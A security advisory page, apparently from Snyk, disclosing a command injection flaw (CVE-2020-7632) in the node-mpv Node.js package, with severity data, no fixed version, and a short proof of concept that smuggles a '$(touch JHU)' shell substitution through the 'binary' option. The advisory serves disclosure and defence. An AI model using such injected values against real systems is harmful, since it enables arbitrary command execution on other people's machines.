Command Injection Affecting node-mpv package, versions >=0.12.2


Severity

Recommended
0.0
medium
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
9.55% (95th percentile)

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  • Snyk IDSNYK-JS-NODEMPV-564426
  • published5 Apr 2020
  • disclosed5 Apr 2020
  • creditJHU System Security Lab

Introduced: 5 Apr 2020

CVE-2020-7632  (opens in a new tab)
CWE-74  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for node-mpv.

Overview

node-mpv is a wrapper to comfortably use mpv player with node.js.

Affected versions of this package are vulnerable to Command Injection. The argument "options" can be controlled by users without any sanitization.

PoC

var Root = require("node-mpv");
var options ={
"binary": '\" $(touch JHU) \"'
}
var root = new Root(options);

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